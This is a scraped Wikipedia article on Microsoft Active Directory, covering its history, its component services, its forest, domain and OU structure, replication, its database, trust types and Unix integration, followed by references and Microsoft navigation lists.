Wikipedia, the free encyclopedia Jump to navigation Jump to search Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks. It is included in most Windows Server operating systems as a set of processes and services.[1][2] Initially, Active Directory was only in charge of centralized domain management. Starting with Windows Server 2008, however, Active Directory became an umbrella title for a broad range of directory-based identity-related services.[3] A server running Active Directory Domain Service (AD DS) is called a domain controller. It authenticates and authorizes all users and computers in a Windows domain type network\xe2\x80\x94assigning and enforcing security policies for all computers and installing or updating software. For example, when a user logs into a computer that is part of a Windows domain, Active Directory checks the submitted password and determines whether the user is a system administrator or normal user.[4] Also, it allows management and storage of information, provides authentication and authorization mechanisms, and establishes a framework to deploy other related services: Certificate Services, Active Directory Federation Services, Lightweight Directory Services and Rights Management Services.[5] Active Directory uses Lightweight Directory Access Protocol (LDAP) versions 2 and 3, Microsoft's version of Kerberos, and DNS. Contents 1 History 2 Active Directory Services 2.1 Domain Services 2.2 Lightweight Directory Services 2.3 Certificate Services 2.4 Federation Services 2.5 Rights Management Services 3 Logical structure 3.1 Objects 3.2 Forests, trees and domains 3.2.1 Organizational units 3.2.1.1 Shadow groups 3.3 Partitions 4 Physical structure 4.1 Replication 5 Implementation 6 Database 7 Trusting 7.1 Terminology 8 Management solutions 9 Unix integration 10 See also 11 References 12 External links History[edit] Active Directory, like many information-technology efforts, originated out of a democratization of design using Request for Comments or RFCs. The Internet Engineering Task Force (IETF), which oversees the RFC process, has accepted numerous RFCs initiated by widespread participants. Active Directory incorporates decades of communication technologies into the overarching Active Directory concept then makes improvements upon them.[citation needed] For example, LDAP underpins Active Directory. Also X.500 directories and the Organizational Unit preceded the Active Directory concept that makes use of those methods. The LDAP concept began to emerge even before the founding of Microsoft in April 1975, with RFCs as early as 1971. RFCs contributing to LDAP include RFC 1823 (on the LDAP API, August 1995),[6]RFC 2307, RFC 3062, and RFC 4533.[7][8][9] Microsoft previewed Active Directory in 1999, released it first with Windows 2000 Server edition, and revised it to extend functionality and improve administration in Windows Server 2003. Additional improvements came with subsequent versions of Windows Server. In Windows Server 2008, additional services were added to Active Directory, such as Active Directory Federation Services.[10] The part of the directory in charge of management of domains, which was previously a core part of the operating system,[10] was renamed Active Directory Domain Services (ADDS) and became a server role like others.[3] ""Active Directory"" became the umbrella title of a broader range of directory-based services.[11] According to Bryon Hynes, everything related to identity was brought under Active Directory's banner.[3] Active Directory Services[edit] Active Directory Services consist of multiple directory services. The best known is Active Directory Domain Services, commonly abbreviated as AD DS or simply AD.[12] Domain Services[edit] Active Directory Domain Services (AD DS) is the cornerstone of every Windows domain network. It stores information about members of the domain, including devices and users, verifies their credentials and defines their access rights. The server running this service is called a domain controller. A domain controller is contacted when a user logs into a device, accesses another device across the network, or runs a line-of-business Metro-style app sideloaded into a device. Other Active Directory services (excluding LDS, as described below) as well as most of Microsoft server technologies rely on or use Domain Services; examples include Group Policy, Encrypting File System, BitLocker, Domain Name Services, Remote Desktop Services, Exchange Server and SharePoint Server. Lightweight Directory Services[edit] Active Directory Lightweight Directory Services (AD LDS), formerly known as Active Directory Application Mode (ADAM),[13] is a light-weight implementation of AD DS.[14] AD LDS runs as a service on Windows Server. AD LDS shares the code base with AD DS and provides the same functionality, including an identical API, but does not require the creation of domains or domain controllers. It provides a Data Store for storage of directory data and a Directory Service with an LDAP Directory Service Interface. Unlike AD DS, however, multiple AD LDS instances can run on the same server. Certificate Services[edit] Active Directory Certificate Services (AD CS) establishes an on-premises public key infrastructure. It can create, validate and revoke public key certificates for internal uses of an organization. These certificates can be used to encrypt files (when used with Encrypting File System), emails (per S/MIME standard), and network traffic (when used by virtual private networks, Transport Layer Security protocol or IPSec protocol). AD CS predates Windows Server 2008, but its name was simply Certificate Services.[15] AD CS requires an AD DS infrastructure.[16] Federation Services[edit] Main article: Active Directory Federation Services Active Directory Federation Services (AD FS) is a single sign-on service. With an AD FS infrastructure in place, users may use several web-based services (e.g. internet forum, blog, online shopping, webmail) or network resources using only one set of credentials stored at a central location, as opposed to having to be granted a dedicated set of credentials for each service. AD FS's purpose is an extension of that of AD DS: The latter enables users to authenticate with and use the devices that are part of the same network, using one set of credentials. The former enables them to use the same set of credentials in a different network. As the name suggests, AD FS works based on the concept of federated identity. AD FS requires an AD DS infrastructure, although its federation partner may not.[17] Rights Management Services[edit] Main article: Active Directory Rights Management Services Active Directory Rights Management Services (AD RMS, known as Rights Management Services or RMS before Windows Server 2008) is a server software for information rights management shipped with Windows Server. It uses encryption and a form of selective functionality denial for limiting access to documents such as corporate e-mails, Microsoft Word documents, and web pages, and the operations authorized users can perform on them. Logical structure[edit] As a directory service, an Active Directory instance consists of a database and corresponding executable code responsible for servicing requests and maintaining the database. The executable part, known as Directory System Agent, is a collection of Windows services and processes that run on Windows 2000 and later.[1] Objects in Active Directory databases can be accessed via LDAP, ADSI (a component object model interface), messaging API and Security Accounts Manager services.[2] Objects[edit] A simplified example of a publishing company's internal network. The company has four groups with varying permissions to the three shared folders on the network. Active Directory structures are arrangements of information about objects. The objects fall into two broad categories: resources (e.g., printers) and security principals (user or computer accounts and groups). Security principals are assigned unique security identifiers (SIDs). Each object represents a single entity\xe2\x80\x94whether a user, a computer, a printer, or a group\xe2\x80\x94and its attributes. Certain objects can contain other objects. An object is uniquely identified by its name and has a set of attributes\xe2\x80\x94the characteristics and information that the object represents\xe2\x80\x94 defined by a schema, which also determines the kinds of objects that can be stored in Active Directory. The schema object lets administrators extend or modify the schema when necessary. However, because each schema object is integral to the definition of Active Directory objects, deactivating or changing these objects can fundamentally change or disrupt a deployment. Schema changes automatically propagate throughout the system. Once created, an object can only be deactivated\xe2\x80\x94not deleted. Changing the schema usually requires planning.[18] Forests, trees and domains[edit] The Active Directory framework that holds the objects can be viewed at a number of levels. The forest, tree, and domain are the logical divisions in an Active Directory network. Within a deployment, objects are grouped into domains. The objects for a single domain are stored in a single database (which can be replicated). Domains are identified by their DNS name structure, the namespace. A domain is defined as a logical group of network objects (computers, users, devices) that share the same Active Directory database. A tree is a collection of one or more domains and domain trees in a contiguous namespace, and is linked in a transitive trust hierarchy. At the top of the structure is the forest. A forest is a collection of trees that share a common global catalog, directory schema, logical structure, and directory configuration. The forest represents the security boundary within which users, computers, groups, and other objects are accessible. \xc2 \xc2 Domain-Boston \xc2 \xc2 Domain-New\xc2 York \xc2 \xc2 Domain-Philly \xc2 Tree-Southern \xc2 \xc2 Domain-Atlanta \xc2 \xc2 Domain-Dallas Domain-Dallas \xc2 OU-Marketing \xc2 \xc2 Hewitt \xc2 \xc2 Aon \xc2 \xc2 Steve \xc2 OU-Sales \xc2 \xc2 Bill \xc2 \xc2 Ralph Example of the geographical organizing of zones of interest within trees and domains. Organizational units[edit] The objects held within a domain can be grouped into Organizational Units (OUs).[19] OUs can provide hierarchy to a domain, ease its administration, and can resemble the organization's structure in managerial or geographical terms. OUs can contain other OUs\xe2\x80\x94domains are containers in this sense. Microsoft recommends using OUs rather than domains for structure and to simplify the implementation of policies and administration. The OU is the recommended level at which to apply group policies, which are Active Directory objects formally named Group Policy Objects (GPOs), although policies can also be applied to domains or sites (see below). The OU is the level at which administrative powers are commonly delegated, but delegation can be performed on individual objects or attributes as well. Organizational units do not each have a separate namespace. As a consequence, for compatibility with Legacy NetBios implementations, user accounts with an identical sAMAccountName are not allowed within the same domain even if the accounts objects are in separate OUs. This is because sAMAccountName, a user object attribute, must be unique within the domain.[20]. However, two users in different OUs can have the same Common Name (CN), the name under which they are stored in the directory itself such as ""fred.staff-ou.domain"" and ""fred.student-ou.domain"", where ""staff-ou"" and ""student-ou"" are the OUs. In general the reason for this lack of allowance for duplicate names through hierarchical directory placement, is that Microsoft primarily relies on the principles of NetBIOS, which is a flat-file method of network object management that for Microsoft software, goes all the way back to Windows NT 3.1 and MS-DOS LAN Manager. Allowing for duplication of object names in the directory, or completely removing the use of NetBIOS names, would prevent backward compatibility with legacy software and equipment. However, disallowing duplicate object names in this way is a violation of the LDAP RFCs on which Active Directory is supposedly based. As the number of users in a domain increases, conventions such as ""first initial, middle initial, last name"" (Western order) or the reverse (Eastern order) fail for common family names like Li (\xe6\x9d\x8e), Smith or Garcia. Workarounds include adding a digit to the end of the username. Alternatives include creating a separate ID system of unique employee/student id numbers to use as account names in place of actual user's names, and allowing users to nominate their preferred word sequence within an acceptable use policy. Because duplicate usernames cannot exist within a domain, account name generation poses a significant challenge for large organizations that cannot be easily subdivided into separate domains, such as students in a public school system or university who must be able to use any computer across the network. Shadow groups[edit] In Active Directory, organizational units (OUs) cannot be assigned as owners or trustees. Only groups are selectable, and members of OUs cannot be collectively assigned rights to directory objects. In Microsoft's Active Directory, OUs do not confer access permissions, and objects placed within OUs are not automatically assigned access privileges based on their containing OU. This is a design limitation specific to Active Directory. Other competing directories such as Novell NDS are able to assign access privileges through object placement within an OU. Active Directory requires a separate step for an administrator to assign an object in an OU as a member of a group also within that OU. Relying on OU location alone to determine access permissions is unreliable, because the object may not have been assigned to the group object for that OU. A common workaround for an Active Directory administrator is to write a custom PowerShell or Visual Basic script to automatically create and maintain a user group for each OU in their directory. The scripts are run periodically to update the group to match the OU's account membership, but are unable to instantly update the security groups anytime the directory changes, as occurs in competing directories where security is directly implemented into the directory itself. Such groups are known as Shadow Groups. Once created, these shadow groups are selectable in place of the OU in the administrative tools. Microsoft refers to shadow groups in the Server 2008 Reference documentation, but does not explain how to create them. There are no built-in server methods or console snap-ins for managing shadow groups.[21] The division of an organization's information infrastructure into a hierarchy of one or more domains and top-level OUs is a key decision. Common models are by business unit, by geographical location, by IT Service, or by object type and hybrids of these. OUs should be structured primarily to facilitate administrative delegation, and secondarily, to facilitate group policy application. Although OUs form an administrative boundary, the only true security boundary is the forest itself and an administrator of any domain in the forest must be trusted across all domains in the forest.[22] Partitions[edit] The Active Directory database is organized in partitions, each holding specific object types and following a specific replication pattern. Microsoft often refers to these partitions as 'naming contexts'.[23] The 'Schema' partition contains the definition of object classes and attributes within the Forest. The 'Configuration' partition contains information on the physical structure and configuration of the forest (such as the site topology). Both replicate to all domains in the Forest. The 'Domain' partition holds all objects created in that domain and replicates only within its domain. Physical structure[edit] Sites are physical (rather than logical) groupings defined by one or more IP subnets.[24] AD also holds the definitions of connections, distinguishing low-speed (e.g., WAN, VPN) from high-speed (e.g., LAN) links. Site definitions are independent of the domain and OU structure and are common across the forest. Sites are used to control network traffic generated by replication and also to refer clients to the nearest domain controllers (DCs). Microsoft Exchange Server 2007 uses the site topology for mail routing. Policies can also be defined at the site level. Physically, the Active Directory information is held on one or more peer domain controllers, replacing the NT PDC/BDC model. Each DC has a copy of the Active Directory. Servers joined to Active Directory that are not domain controllers are called Member Servers.[25] A subset of objects in the domain partition replicate to domain controllers that are configured as global catalogs. Global catalog (GC) servers provide a global listing of all objects in the Forest.[26][27] Global Catalog servers replicate to themselves all objects from all domains and hence, provide a global listing of objects in the forest. However, to minimize replication traffic and keep the GC's database small, only selected attributes of each object are replicated. This is called the partial attribute set (PAS). The PAS can be modified by modifying the schema and marking attributes for replication to the GC.[28] Earlier versions of Windows used NetBIOS to communicate. Active Directory is fully integrated with DNS and requires TCP/IP\xe2\x80\x94DNS. To be fully functional, the DNS server must support SRV resource records, also known as service records. Replication[edit] Active Directory synchronizes changes using multi-master replication.[29] Replication by default is 'pull' rather than 'push', meaning that replicas pull changes from the server where the change was effected.[30] The Knowledge Consistency Checker (KCC) creates a replication topology of site links using the defined sites to manage traffic. Intrasite replication is frequent and automatic as a result of change notification, which triggers peers to begin a pull replication cycle. Intersite replication intervals are typically less frequent and do not use change notification by default, although this is configurable and can be made identical to intrasite replication. Each link can have a 'cost' (e.g., DS3, T1, ISDN etc.) and the KCC alters the site link topology accordingly. Replication may occur transitively through several site links on same-protocol site link bridges, if the cost is low, although KCC automatically costs a direct site-to-site link lower than transitive connections. Site-to-site replication can be configured to occur between a bridgehead server in each site, which then replicates the changes to other DCs within the site. Replication for Active Directory zones is automatically configured when DNS is activated in the domain based by site. Replication of Active Directory uses Remote Procedure Calls (RPC) over IP (RPC/IP). Between Sites SMTP can be used for replication, but only for changes in the Schema, Configuration, or Partial Attribute Set (Global Catalog) GCs. SMTP cannot be used for replicating the default Domain partition.[31] Implementation[edit] In general, a network utilizing Active Directory has more than one licensed Windows server computer. Backup and restore of Active Directory is possible for a network with a single domain controller,[32] but Microsoft recommends more than one domain controller to provide automatic failover protection of the directory.[33] Domain controllers are also ideally single-purpose for directory operations only, and should not run any other software or role.[34] Certain Microsoft products such as SQL Server[35][36] and Exchange[37] can interfere with the operation of a domain controller, necessitating isolation of these products on additional Windows servers. Combining them can make configuration or troubleshooting of either the domain controller or the other installed software more difficult.[38] A business intending to implement Active Directory is therefore recommended to purchase a number of Windows server licenses, to provide for at least two separate domain controllers, and optionally, additional domain controllers for performance or redundancy, a separate file server, a separate Exchange server, a separate SQL Server,[39] and so forth to support the various server roles. Physical hardware costs for the many separate servers can be reduced through the use of virtualization, although for proper failover protection, Microsoft recommends not running multiple virtualized domain controllers on the same physical hardware.[40] Database[edit] The Active-Directory database, the directory store, in Windows 2000 Server uses the JET Blue-based Extensible Storage Engine (ESE98) and is limited to 16 terabytes and 2 billion objects (but only 1 billion security principals) in each domain controller's database. Microsoft has created NTDS databases with more than 2 billion objects.[41] (NT4's Security Account Manager could support no more than 40,000 objects). Called NTDS.DIT, it has two main tables: the data table and the link table. Windows Server 2003 added a third main table for security descriptor single instancing.[41] Programs may access the features of Active Directory[42] via the COM interfaces provided by Active Directory Service Interfaces.[43] Trusting[edit] To allow users in one domain to access resources in another, Active Directory uses trusts.[44] Trusts inside a forest are automatically created when domains are created. The forest sets the default boundaries of trust, and implicit, transitive trust is automatic for all domains within a forest. Terminology[edit] One-way trust One domain allows access to users on another domain, but the other domain does not allow access to users on the first domain. Two-way trust Two domains allow access to users on both domains. Trusted domain The domain that is trusted; whose users have access to the trusting domain. Transitive trust A trust that can extend beyond two domains to other trusted domains in the forest. Intransitive trust A one way trust that does not extend beyond two domains. Explicit trust A trust that an admin creates. It is not transitive and is one way only. Cross-link trust An explicit trust between domains in different trees or in the same tree when a descendant/ancestor (child/parent) relationship does not exist between the two domains. Shortcut Joins two domains in different trees, transitive, one- or two-way. Forest trust Applies to the entire forest. Transitive, one- or two-way. Realm Can be transitive or nontransitive (intransitive), one- or two-way. External Connect to other forests or non-AD domains. Nontransitive, one- or two-way.[45] PAM trust A one-way trust used by Microsoft Identity Manager from a (possibly low-level) production forest to a (Windows Server 2016 functionality level) 'bastion' forest, which issues time-limited group memberships.[46][47] Management solutions[edit] Microsoft Active Directory management tools include: Active Directory Administrative Center (Introduced with Windows Server 2012 and above), Active Directory Users and Computers, Active Directory Domains and Trusts, Active Directory Sites and Services, ADSI Edit, Local Users and Groups, Active Directory Schema snap-ins for Microsoft Management Console (MMC), These management tools may not provide enough functionality for efficient workflow in large environments. Some third-party solutions extend the administration and management capabilities. They provide essential features for a more convenient administration processes, such as automation, reports, integration with other services, etc. Unix integration[edit] Varying levels of interoperability with Active Directory can be achieved on most Unix-like operating systems (including Unix, Linux, Mac OS X or Java and Unix-based programs) through standards-compliant LDAP clients, but these systems usually do not interpret many attributes associated with Windows components, such as Group Policy and support for one-way trusts. Third parties offer Active Directory integration for Unix-like platforms, including: PowerBroker Identity Services, formerly Likewise (BeyondTrust, formerly Likewise Software) \xe2\x80\x93 Allows a non-Windows client to join Active Directory[48] ADmitMac (Thursby Software Systems)[48] Samba \xe2\x80\x93 Can act as a domain controller[49][50] The schema additions shipped with Windows Server 2003 R2 include attributes that map closely enough to RFC 2307 to be generally usable. The reference implementation of RFC 2307, nss_ldap and pam_ldap provided by PADL.com, support these attributes directly. The default schema for group membership complies with RFC 2307bis (proposed).[51] Windows Server 2003 R2 includes a Microsoft Management Console snap-in that creates and edits the attributes. An alternative option is to use another directory service as non-Windows clients authenticate to this while Windows Clients authenticate to AD. Non-Windows clients include 389 Directory Server (formerly Fedora Directory Server, FDS), ViewDS Identity Solutions - ViewDS v7.2 XML Enabled Directory and Sun Microsystems Sun Java System Directory Server. The latter two both being able to perform two-way synchronization with AD and thus provide a ""deflected"" integration. Another option is to use OpenLDAP with its translucent overlay, which can extend entries in any remote LDAP server with additional attributes stored in a local database. Clients pointed at the local database see entries containing both the remote and local attributes, while the remote database remains completely untouched.[citation needed] Administration (querying, modifying, and monitoring) of Active Directory can be achieved via many scripting languages, including PowerShell, VBScript, JScript/JavaScript, Perl, Python, and Ruby.[52][53][54][55] Free and non-free AD administration tools can help to simplify and possibly automate AD management tasks. Since October 2017 Amazon AWS offers integration with Microsoft Active Directory.[56] See also[edit] AGDLP (implementing role based access controls using nested groups) Flexible single master operation Apple Open Directory FreeIPA List of LDAP software Univention Corporate Server References[edit] ^ a b ""Directory System Agent"". MSDN Library. Microsoft. Retrieved 23 April 2014. ^ a b Solomon, David A.; Russinovich, Mark (2005). ""Chapter 13"". Microsoft Windows Internals: Microsoft Windows Server 2003, Windows XP, and Windows 2000 (4th ed.). Redmond, Washington: Microsoft Press. p.\xc2 840. ISBN\xc2 0-7356-1917-4. ^ a b c Hynes, Byron (November 2006). ""The Future Of Windows: Directory Services in Windows Server ""Longhorn"""". TechNet Magazine. Microsoft. ^ ""Active Directory on a Windows Server 2003 Network"". Active Directory Collection. Microsoft. 13 March 2003. Retrieved 25 December 2010. ^ ""Install Active Directory Domain Services on Windows Server 2008 R2 Enterprise 64-bit"". 27 April 2016. Retrieved 22 September 2016. ^ ""The LDAP Application Program Interface"". Retrieved 26 November 2013. ^ ""An Approach for Using LDAP as a Network Information Service"". Retrieved 26 November 2013. ^ ""LDAP Password Modify Extended Operation"". Retrieved 26 November 2013. ^ ""The Lightweight Directory Access Protocol (LDAP) Content Synchronization Operation"". Retrieved 26 November 2013. ^ a b Thomas, Guy. ""Windows Server 2008 - New Features"". ComputerPerformance.co.uk. Computer Performance Ltd. ^ ""What's New in Active Directory in Windows Server"". Windows Server 2012 R2 and Windows Server 2012 Tech Center. Microsoft. ^ Active Directory Services technet.microsoft.com ^ ""AD LDS"". Microsoft. Retrieved 28 April 2009. ^ ""AD LDS versus AD DS"". Microsoft. Retrieved 25 February 2013. ^ Zacker, Craig (2003). ""11: Creating and Managing Digital Certificates"". In Harding, Kathy; Jean, Trenary; Linda, Zacker (eds.). Planning and Maintaining a Microsoft Windows server 2003 Network Infrastructure. Redmond, WA: Microsoft Press. pp.\xc2 11\xe2\x80\x9316. ISBN\xc2 0-7356-1893-3. ^ ""Active Directory Certificate Services Overview"". Microsoft TechNet. Microsoft. Retrieved 24 November 2015. ^ ""Step 1: Preinstallation Tasks"". TechNet. Microsoft. Retrieved 24 November 2015. ^ Windows Server 2003: Active Directory Infrastructure. Microsoft Press. 2003. pp.\xc2 1\xe2\x80\x938\xe2\x80\x931\xe2\x80\x939. ^ ""Organizational Units"". Distributed Systems Resource Kit (TechNet). Microsoft. 2011. An organizational unit in Active Directory is analogous to a directory in the file system ^ ""sAMAccountName is always unique in a Windows domain\xe2\x80\xa6 or is it?"". Joeware. 4 January 2012. Retrieved 18 September 2013. examples of how multiple AD objects can be created with the same sAMAccountName ^ Microsoft Server 2008 Reference, discussing shadow groups used for fine-grained password policies: https://technet.microsoft.com/en-us/library/cc770394%28WS.10%29.aspx ^ ""Specifying Security and Administrative Boundaries"". Microsoft Corporation. 23 January 2005. However, service administrators have abilities that cross domain boundaries. For this reason, the forest is the ultimate security boundary, not the domain. ^ Andreas Luther. ""Active Directory Replication Traffic"". Microsoft Corporation. Retrieved 26 May 2010. The Active Directory is made up of one or more naming contexts or partitions. ^ ""Sites overview"". Microsoft Corporation. 21 January 2005. A site is a set of well-connected subnets. ^ ""Planning for domain controllers and member servers"". Microsoft Corporation. 21 January 2005. [...] member servers, [...] belong to a domain but do not contain a copy of the Active Directory data. ^ ""What Is the Global Catalog?"". Microsoft Corporation. 10 December 2009. [...] a domain controller can locate only the objects in its domain. [...] The global catalog provides the ability to locate objects from any domain [...] ^ ""Global Catalog"". Microsoft Corporation. ^ ""Attributes Included in the Global Catalog"". Microsoft Corporation. 26 August 2010. The isMemberOfPartialAttributeSet attribute of an attributeSchema object is set to TRUE if the attribute is replicated to the global catalog. [...] When deciding whether or not to place an attribute in the global catalog remember that you are trading increased replication and increased disk storage on global catalog servers for, potentially, faster query performance. ^ ""Directory data store"". Microsoft Corporation. 21 January 2005. Active Directory uses four distinct directory partition types to store [...] data. Directory partitions contain domain, configuration, schema, and application data. ^ ""What Is the Active Directory Replication Model?"". Microsoft Corporation. 28 March 2003. Domain controllers request (pull) changes rather than send (push) changes that might not be needed. ^ ""What Is Active Directory Replication Topology?"". Microsoft Corporation. 28 March 2003. SMTP can be used to transport nondomain replication [...] ^ ""Active Directory Backup and Restore"". TechNet. Microsoft. Retrieved 5 February 2014. ^ ""AD DS: All domains should have at least two functioning domain controllers for redundancy"". TechNet. Microsoft. Retrieved 5 February 2014. ^ Posey, Brien (23 August 2010). ""10 tips for effective Active Directory design"". TechRepublic. CBS Interactive. Retrieved 5 February 2014. Whenever possible, your domain controllers should run on dedicated servers (physical or virtual). ^ ""You may encounter problems when installing SQL Server on a domain controller (Revision 3.0)"". Support. Microsoft. 7 January 2013. Retrieved 5 February 2014. ^ Degremont, Michel (30 June 2011). ""Can I install SQL Server on a domain controller?"". Microsoft SQL Server blog. Retrieved 5 February 2014. For security and performance reasons, we recommend that you do not install a standalone SQL Server on a domain controller. ^ ""Installing Exchange on a domain controller is not recommended"". TechNet. Microsoft. 22 March 2013. Retrieved 5 February 2014. ^ ""Security Considerations for a SQL Server Installation"". TechNet. Microsoft. Retrieved 5 February 2014. After SQL Server is installed on a computer, you cannot change the computer from a domain controller to a domain member. You must uninstall SQL Server before you change the host computer to a domain member. ^ ""Exchange Server Analyzer"". TechNet. Microsoft. Retrieved 5 February 2014. Running SQL Server on the same computer as a production Exchange mailbox server is not recommended. ^ ""Running Domain Controllers in Hyper-V"". TechNet. Microsoft. Planning to Virtualize Domain Controllers. Retrieved 5 February 2014. You should attempt to avoid creating potential single points of failure when you plan your virtual domain controller deployment.frank ^ a b efleis (8 June 2006). ""Large AD database? Probably not this large"". Blogs.technet.com. Retrieved 20 November 2011. ^ Berkouwer, Sander. ""Active Directory basics"". Veeam Software. ^ Active Directory Service Interfaces, Microsoft ^ ""Domain and Forest Trusts Technical Reference"". Microsoft Corporation. 28 March 2003. Trusts enable [...] authentication and [...] sharing resources across domains or forests ^ ""Domain and Forest Trusts Work"". Microsoft Corporation. 11 December 2012. Retrieved 29 January 2013. Defines several kinds of trusts. (automatic, shortcut, forest, realm, external) ^ Microsoft Identity Manager: Privileged Access Management for Active Directory Domain Services ^ TechNet: MIM 2016: Privileged Access Management (PAM) - FAQ ^ a b Edge, Charles S., Jr; Smith, Zack; Hunter, Beau (2009). ""Chapter 3: Active Directory"". Enterprise Mac Administrator's Guide. New York City: Apress. ISBN\xc2 978-1-4302-2443-3. ^ ""Samba 4.0.0 Available for Download"". SambaPeople. SAMBA Project. Archived from the original on 15 November 2010. Retrieved 9 August 2016. ^ ""The great DRS success!"". SambaPeople. SAMBA Project. 5 October 2009. Archived from the original on 13 October 2009. Retrieved 2 November 2009. ^ ""RFC 2307bis"". Archived from the original on 27 September 2011. Retrieved 20 November 2011. ^ ""Active Directory Administration with Windows PowerShell"". Microsoft. Retrieved 7 June 2011. ^ ""Using Scripts to Search Active Directory"". Microsoft. Retrieved 22 May 2012. ^ ""ITAdminTools Perl Scripts Repository"". ITAdminTools.com. Retrieved 22 May 2012. ^ ""Win32::OLE"". Perl Open-Source Community. Retrieved 22 May 2012. ^ https://aws.amazon.com/blogs/security/introducing-aws-directory-service-for-microsoft-active-directory-standard-edition/ External links[edit] Wikiversity has learning resources about Active Directory Microsoft Technet: White paper: Active Directory Architecture (Single technical document that gives an overview about Active Directory.) Microsoft Technet: Detailed description of Active Directory on Windows Server 2003 Microsoft MSDN Library: [MS-ADTS]: Active Directory Technical Specification (part of the Microsoft Open Specification Promise) Active Directory Application Mode (ADAM) Microsoft MSDN: [AD-LDS]: Active Directory Lightweight Directory Services Microsoft TechNet: [AD-LDS]: Active Directory Lightweight Directory Services Microsoft MSDN: Active Directory Schema Microsoft TechNet: Understanding Schema Microsoft TechNet Magazine: Extending the Active Directory Schema Microsoft MSDN: Active Directory Certificate Services Microsoft TechNet: Active Directory Certificate Services v t e Microsoft History Outline People Founders Bill Gates Paul Allen Board of directors John W. Thompson (Chairman) Satya Nadella (CEO) Bill Gates Charles Noski Helmut Panke John W. Stanton Reid Hoffman Sandi Peterson Penny Pritzker Charles Scharf Arne Sorenson Padmasree Warrior Senior leadership team Satya Nadella (CEO) Scott Guthrie Amy Hood (CFO) Harry Shum Phil Spencer Corporate VPs Joe Belfiore Richard Rashid (SVP) S. Somasegar (SVP) C\xc3\xa9sar Cernuda Products Hardware HoloLens Surface Hub Go Laptop Pro Studio Xbox Operating systems Windows Xbox OS Software Office Office 365 Mobile Servers Visual Studio Web properties Azure Bing Channel 9 CodePlex Developer Network Docs MSN Mixer Office.com OneDrive Outlook.com Store TechNet Company Conferences Build Inspire MIX PDC TechEd WinHEC Divisions Engineering groups Mobile Skype unit Digital Crimes Unit Garage Press Research .NET Foundation Outercurve Foundation Xbox Game Studios Estates Microsoft Redmond campus Microsoft Talo Microsoft Algeria Microsoft Egypt Microsoft India Microsoft Japan Microsoft Theater Campaigns Where do you want to go today? (1994) Champagne (2002) Mojave Experiment (2006) I'm a PC (2008) Scroogled (2012) Criticism Bundling of Microsoft Windows Clippy iLoo Internet Explorer Microsoft Bob _NSAKEY Windows XP Vista 10 Litigation Alcatel-Lucent v. Microsoft Apple v. Microsoft European Union Microsoft competition case Microsoft v. Lindows Microsoft v. MikeRoweSoft Microsoft v. Shah United States v. Microsoft (2001 antitrust case) Microsoft Ireland case Acquisitions 6Wunderkinder Altamira Software AltspaceVR aQuantive Azyxxi The Blue Ribbon SoundWorks Beam Bungie Calista Technologies Colloquis Connectix Consumers Software Danger Farecast FASA Studio Fast Search & Transfer Firefly Forethought GIANT Company Software GitHub GreenButton Groove Networks High Heat Major League Baseball Hotmail Jellyfish.com LinkedIn LinkExchange Lionhead Studios Maluuba Massive Incorporated Mobile Data Labs Mojang Nokia Devices and Services Onfolio Pando Networks Perceptive Pixel PlaceWare Powerset ProClarity Rare Revolution Analytics ScreenTonic Secure Islands Simplygon Skype Sunrise Atelier SwiftKey Winternals Software Teleo Telekinesys Research Tellme Networks Twisted Pixel Games Vermeer Technologies Visio Corporation Vivaty VoloMetrix VXtreme WebTV Networks Xamarin Yammer Yupi Category v t e Microsoft Windows components Management tools App Installer Command Prompt Control Panel Applets Device Manager Disk Cleanup Disk Defragmenter Driver Verifier DxDiag Event Viewer IExpress Management Console Netsh Performance Monitor Recovery Console Resource Monitor Settings Sysprep System Configuration System File Checker System Information System Policy Editor System Restore Task Manager Windows Error Reporting Windows Ink Windows Installer PowerShell Windows Update Windows Insider WinRE WMI Apps Alarms & Clock Calculator Calendar Camera Character Map Cortana Edge Fax and Scan Feedback Hub File Manager Get Help Groove Music Magnifier Mail Messaging Maps Media Player Movies & TV Mobility Center Money News Narrator Notepad OneDrive OneNote Paint Paint 3D People Phone Companion Photos Quick Assist Snipping Tool Speech Recognition Skype Sports Sticky Notes View 3D Store Tips Voice Recorder Wallet Weather Windows To Go Windows Story Remix WordPad Xbox Console Companion Your Phone Shell Action Center Aero AutoPlay AutoRun ClearType Explorer Search Indexing Service IFilter Saved search Namespace Special folder Start menu Taskbar Task View Windows Spotlight Windows XP visual styles Services Service Control Manager BITS CLFS Multimedia Class Scheduler Shadow Copy Task Scheduler Error Reporting Wireless Zero Configuration File systems CDFS DFS exFAT IFS FAT NTFS Hard link Junction point Mount Point Reparse point Symbolic link TxF EFS ReFS UDF Server Domains Active Directory DNS Group Policy Roaming user profiles Folder redirection Distributed Transaction Coordinator MSMQ Windows Media Services Rights Management Services IIS Remote Desktop Services WSUS SharePoint Network Access Protection PWS DFS Replication Remote Differential Compression Print Services for UNIX Remote Installation Services Windows Deployment Services System Resource Manager Hyper-V Server Core Architecture Architecture of Windows NT Startup process NT Vista CSRSS Desktop Window Manager Portable Executable EXE DLL Enhanced Write Filter Graphics Device Interface hal.dll I/O request packet Imaging Format Kernel Transaction Manager Library files Logical Disk Manager LSASS MinWin NTLDR Ntoskrnl.exe Object Manager Open XML Paper Specification Registry Resource Protection Security Account Manager Server Message Block Shadow Copy SMSS System Idle Process USER WHEA Win32 console Winlogon WinUSB Security Security and Maintenance AppLocker BitLocker Credential Guard Data Execution Prevention Family Safety Kernel Patch Protection Mandatory Integrity Control Protected Media Path User Account Control User Interface Privilege Isolation Windows Defender Windows Firewall Compatibility COMMAND.COM Virtual DOS machine Windows on Windows WoW64 Windows Subsystem for Linux API Active Scripting WSH VBScript JScript COM ActiveX ActiveX Document COM Structured storage DCOM OLE OLE Automation Transaction Server DirectX .NET Framework Universal Windows Platform Windows Mixed Reality Windows Runtime WinUSB Games Solitaire Collection Discontinued Games 3D Pinball Chess Titans FreeCell Hearts InkBall Hold 'Em Purble Place Reversi Spider Solitaire Solitaire Tinker Apps ActiveMovie Anytime Upgrade Address Book Backup and Restore Cardfile CardSpace Contacts Desktop Gadgets Diagnostics DriveSpace DVD Maker Easy Transfer Fax Food & Drink Help and Support Center Health & Fitness HyperTerminal Internet Explorer Journal Media Center Meeting Space Messaging Messenger Mobile Device Center Movie Maker MSN Dial-up NetMeeting NTBackup Outlook Express Travel Photo Gallery Photo Viewer Program Manager Steps Recorder Syskey WinHelp Write Others ScanDisk File Protection Media Control Interface Next-Generation Secure Computing Base POSIX subsystem Interix Video for Windows Windows SideShow Windows Services for UNIX Windows System Assessment Tool WinFS Spun off to Microsoft Store DVD Player 